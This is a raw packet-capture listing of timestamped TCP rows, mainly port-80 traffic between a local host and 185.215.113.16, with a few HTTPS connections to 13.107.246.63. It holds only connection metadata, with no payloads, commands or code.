Dec 3, 2024 17:41:40.126331091 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.127619982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.127630949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.127667904 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.129179955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.129192114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.129232883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.129924059 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.130275965 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.130286932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.130327940 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.131640911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.131652117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.131686926 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.132965088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.132977962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.133018017 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.134335995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.134349108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.134404898 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.135639906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.135651112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.135689020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.136991024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.137002945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.137037992 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.138470888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.138479948 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.138515949 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.140185118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.140201092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.140232086 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.141613960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.141625881 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.141661882 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.142956972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.143006086 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.144573927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.144586086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.144668102 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.145886898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.145899057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.145946026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.147504091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.147531986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.147573948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.148932934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.148945093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.148988962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.150366068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.150377989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.150388002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.150437117 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.151868105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.151880026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.151921988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.153333902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.153347015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.153394938 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.154822111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.154841900 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.154879093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.156290054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.156303883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.156315088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.156352997 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.156397104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.157778025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.157802105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.157852888 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.159279108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.159291029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.159337044 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.160821915 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.160835981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.160871029 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.162440062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.162451982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.162498951 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.163743973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.163774014 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.163821936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.168876886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.168895006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.168905020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.168915033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.168924093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.168956995 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.169013023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.169351101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.169363022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.169390917 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.170954943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.170969009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.171006918 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.172274113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.172287941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.172297001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.172323942 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.172337055 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.172660112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.172672033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.172708988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.174129009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.174141884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.174179077 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.175681114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.175693989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.175731897 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.177114964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.177125931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.177162886 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.178642988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.178654909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.178663969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.178721905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.180079937 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.180090904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.180126905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.181569099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.181580067 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.181617975 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.183053017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.183063984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.183094025 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.184531927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.184544086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.184577942 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.221009970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.221546888 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.229141951 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.249891043 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.249913931 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.250509024 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.250514030 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.314155102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.314512968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.314568043 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.317476034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.317490101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.317495108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.317543983 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.318576097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.318603039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.318635941 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.320055962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.320070028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.320112944 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.321259022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.321269989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.321320057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.322547913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.322561979 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.322592020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.323868036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.323879957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.323925972 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.325242043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.325252056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.325294018 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.326704979 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.326716900 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.326756001 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.328279972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.328290939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.328322887 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.329655886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.329679012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.329710960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.331168890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.331181049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.331219912 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.332648993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.332668066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.332678080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.332700968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.332720995 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.334140062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.334153891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.334198952 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.335712910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.335724115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.335763931 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.337107897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.337124109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.337182999 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.338558912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.338577986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.338587999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.338625908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.340071917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.340081930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.340116024 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.341573954 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.341590881 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.341619015 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.343060970 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.343071938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.343113899 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.344523907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.344544888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.344567060 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.346010923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.346028090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.346039057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.346061945 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.346091032 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.347500086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.347512007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.347557068 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.349014997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.349045038 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.349086046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.350482941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.350496054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.350538015 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.351994991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.352010012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.352020025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.352063894 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.353482962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.353502989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.353528976 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.354948044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.354960918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.355000019 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.356405973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.356419086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.356520891 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.357930899 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.357943058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.357985973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.359396935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.359409094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.359419107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.359456062 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.359492064 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.360882998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.360896111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.360938072 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.362530947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.362541914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.362592936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.363955021 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.363965988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.364015102 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.365483046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.365494013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.365503073 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.365540981 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.366820097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.366831064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.366878033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.368534088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.368545055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.368582010 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.369791985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.369802952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.369849920 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.371284962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.371296883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.371339083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.372742891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.372762918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.372772932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.372795105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.372819901 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.374241114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.374252081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.374289989 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.375778913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.375790119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.375920057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.377207041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.377217054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.377264977 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.378781080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.378792048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.378807068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.378834009 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.380207062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.380218029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.380250931 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.381730080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.381741047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.381778955 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.383497000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.383507967 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.383538961 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.384639025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.384649992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.384706974 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.386132002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.386143923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.386154890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.386171103 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.386200905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.516940117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.517414093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.517563105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.518042088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.518198013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.518284082 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.519459009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.520117044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.520201921 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.520827055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.520839930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.520890951 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.522140980 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.522155046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.522213936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.523391962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.523405075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.523451090 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.525125980 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.525137901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.525190115 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.526279926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.526292086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.526385069 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.527544022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.527555943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.527606964 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.528655052 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.580025911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.664757967 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.664870024 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.664983988 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.665261984 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.665287018 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.665301085 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.665306091 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.668906927 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.668976068 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.669076920 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.669271946 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.669282913 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.674417973 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.674967051 CET	49776	443	192.168.2.7	13.107.246.63
